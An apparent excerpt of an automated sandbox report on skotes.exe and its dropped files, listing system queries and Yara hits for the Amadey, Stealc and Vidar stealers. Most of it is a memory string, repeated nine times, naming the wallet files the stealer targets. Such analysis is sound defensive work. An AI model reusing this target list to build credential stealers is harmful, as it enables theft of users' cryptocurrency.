Source: skotes.exe, skotes.exe, 00000006.00000002.3326794267.0000000001083000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: BXProgram Manager

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_00E9D3E2 cpuid

6_2_00E9D3E2

Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001137001\num.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001137001\num.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1001137001\num.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1001137001\num.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_00E9CBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

6_2_00E9CBEA

Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 2.2.skotes.exe.e80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.skotes.exe.e80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.g4Cyr2T5jq.exe.4e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.skotes.exe.e80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000003.2635193986.0000000004BF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2170764560.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2193890325.0000000000E81000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2153124653.0000000004C40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2204100473.0000000000E81000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2084121565.0000000004CD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2162980289.0000000005340000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3325796292.0000000000E81000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match	File source: 0000000A.00000003.2995975951.0000000001160000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.3235221216.0000000000DBF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 88edf6a100.exe PID: 6848, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 32.0.num.exe.40000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.0.num.exe.40000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.num.exe.40000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.num.exe.40000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.7e96f85771.exe.810000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.7e96f85771.exe.810000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001B.00000000.2989582448.0000000000041000.00000080.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3164480115.0000000000811000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.2874827283.00000000051B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.3246728822.0000000000041000.00000080.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.3198812078.0000000000811000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.3294064739.0000000001447000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.3248429652.0000000000B6E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.3201845149.000000000167B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.3286511778.0000000000041000.00000080.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3168952289.000000000140E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000003.3018637776.00000000052A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000000.3150281953.0000000000041000.00000080.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 7e96f85771.exe PID: 1672, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\num[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1001137001\num.exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 00000008.00000002.3168952289.000000000140E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 7e96f85771.exe PID: 1672, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 7e96f85771.exe, 00000008.00000002.3164480115.0000000000811000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: 7e96f85771.exe, 00000008.00000002.3164480115.0000000000811000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: 7e96f85771.exe, 00000008.00000002.3164480115.0000000000811000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: 7e96f85771.exe, 00000008.00000002.3164480115.0000000000811000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: 7e96f85771.exe, 00000008.00000002.3164480115.0000000000811000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: 7e96f85771.exe, 00000008.00000002.3164480115.0000000000811000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: 7e96f85771.exe, 00000008.00000002.3164480115.0000000000811000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: 7e96f85771.exe, 00000008.00000002.3164480115.0000000000811000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: 7e96f85771.exe, 00000008.00000002.3164480115.0000000000811000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
